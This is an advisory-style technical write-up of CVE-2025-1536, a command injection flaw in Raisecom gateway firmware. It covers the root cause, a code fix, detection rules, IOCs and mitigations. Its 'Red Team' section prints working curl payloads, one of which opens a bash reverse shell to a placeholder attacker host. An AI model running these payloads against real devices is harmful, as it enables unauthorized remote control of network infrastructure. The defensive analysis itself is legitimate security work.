CVE-2025-1536

Executive Summary

CVE-2025-1536 is a critical OS command injection vulnerability in Raisecom Multi-Service Intelligent Gateway devices, affecting firmware versions up to 20250208. The flaw resides in the /vpn/vpn_template_style.php file, where the stylenum request parameter is unsafely passed to an OS command execution function. An unauthenticated attacker can exploit this remotely to execute arbitrary system commands with the privileges of the web server (typically root). Given the vendor’s lack of response and the public availability of exploit details, this vulnerability poses a severe risk to network infrastructure. Immediate mitigation actions are required, including network segmentation and virtual patching.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise, data exfiltration possible.
• Integrity (I): High (H) – Attacker can modify system files and configurations.
• Availability (A): High (H) – Attacker can disrupt services or render the device inoperable.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors, including ransomware groups and state-sponsored APTs.

Deep Dive & Mechanics

The vulnerability exists in the PHP script /vpn/vpn_template_style.php. This script is part of the VPN template management functionality of the Raisecom gateway. The stylenum parameter is used to specify a style number for VPN templates. The application fails to sanitize or validate this input before passing it to a system command execution function (likely exec(), system(), or shell_exec() in PHP).

Root Cause: The developer directly concatenated user-supplied input into a shell command string without proper escaping or parameterization. For example, the vulnerable code might resemble:

$stylenum = $_REQUEST['stylenum'];
$command = "some_command --style $stylenum";
system($command);

An attacker can inject arbitrary commands by appending shell metacharacters such as ;, |, &&, or backticks. For instance, a payload like 1;id would execute the id command after the intended operation.

Attack Flow:

1. Attacker sends a crafted HTTP GET or POST request to the vulnerable endpoint.
2. The stylenum parameter contains a command injection payload.
3. The web server executes the injected command with the privileges of the web server process (often root).
4. The attacker gains remote code execution (RCE) on the device.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected secure implementation.

Vulnerable Code (Conceptual):

<?php
$stylenum = $_REQUEST['stylenum'];
$command = "/usr/bin/vpn_template --style " . $stylenum;
system($command);
?>

Patched Code (Conceptual):

<?php
$stylenum = $_REQUEST['stylenum'];
// Validate that stylenum is an integer
if (!ctype_digit($stylenum)) {
    die("Invalid style number");
}
// Use escapeshellarg() to prevent injection
$command = "/usr/bin/vpn_template --style " . escapeshellarg($stylenum);
system($command);
?>

The patched version validates that the input is a numeric digit and uses escapeshellarg() to escape any shell metacharacters. Additionally, using exec() with an array of arguments (if supported) would be more secure.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Raisecom Multi-Service Intelligent Gateway (firmware up to 20250208)
• Attacker: Kali Linux with curl and nc (netcat)

Exploit Payload:

curl -X GET "http://<target_ip>/vpn/vpn_template_style.php?stylenum=1;id"

Reverse Shell Payload:

curl -X GET "http://<target_ip>/vpn/vpn_template_style.php?stylenum=1;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"

Steps:

1. Start a listener on the attacker machine: nc -lvnp 4444
2. Send the reverse shell payload to the target.
3. Receive the shell and escalate privileges if needed (likely already root).

Metasploit Module (if available):

# Placeholder for a Metasploit module
# use exploit/linux/http/raisecom_vpn_template_cmd_inject
# set RHOSTS <target_ip>
# set LHOST <attacker_ip>
# run

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /vpn/vpn_template_style.php with unusual stylenum parameters containing shell metacharacters (;, |, &, `, $()).
• Alert on outbound connections from the gateway to unknown IPs on high ports (e.g., 4444, 1337).

Mitigation:

• Immediately isolate affected devices from the internet and critical network segments.
• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
• If possible, remove or disable the vulnerable PHP script until a patch is available.
• Monitor for unauthorized configuration changes or new user accounts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /vpn/vpn_template_style.php with stylenum containing ;, |, &&, `, $().
• Outbound connections from the gateway to suspicious IPs on non-standard ports (e.g., 4444, 1337, 31337).
• DNS queries to known C2 domains.

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., rce.sh, shell.php).
• Modified system binaries (e.g., /bin/ls replaced with a backdoor).
• New cron jobs or systemd services.

Process IOCs:

• Unusual processes running as root, such as bash, nc, python, or perl with network connections.
• Multiple instances of sh -c or bash -c spawned by the web server.

Detection Engineering

YARA Rule

rule CVE_2025_1536_Command_Injection {
    meta:
        description = "Detects command injection attempts against Raisecom VPN template style endpoint"
        author = "Valters IT"
        date = "2025-02-15"
        reference = "CVE-2025-1536"
    strings:
        $url_pattern = "/vpn/vpn_template_style.php"
        $cmd_inject = /stylenum=.*[;&|`$()]/
    condition:
        $url_pattern and $cmd_inject
}

Sigma Rule

title: CVE-2025-1536 Raisecom VPN Template Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with command injection payloads
author: Valters IT
date: 2025/02/15
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/vpn/vpn_template_style.php"
        cs-uri-query|re: "stylenum=.*[;&|`$()]"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1536 Raisecom VPN Template Command Injection"; flow:to_server; content:"/vpn/vpn_template_style.php"; http_uri; pcre:"/stylenum=.*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Disable the vulnerable script if possible (e.g., rename or remove /vpn/vpn_template_style.php).
3. Deploy a WAF with rules to block command injection patterns (e.g., ModSecurity CRS rule 932100).
4. Monitor logs for exploitation attempts and IOCs.

Long-Term Actions:

1. Contact Raisecom for an official patch or firmware update.
2. Replace affected devices with alternatives from vendors with better security practices.
3. Implement network segmentation to limit exposure of management interfaces.
4. Conduct a security audit of all Raisecom devices in the environment.

Virtual Patching (ModSecurity):

SecRule REQUEST_URI "/vpn/vpn_template_style.php" "chain,id:1000001,phase:2,t:urlDecodeUni,block,msg:'CVE-2025-1536 Command Injection Attempt'"
SecRule ARGS:stylenum "!@rx ^\d+$" "t:none,setvar:tx.block=1"

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert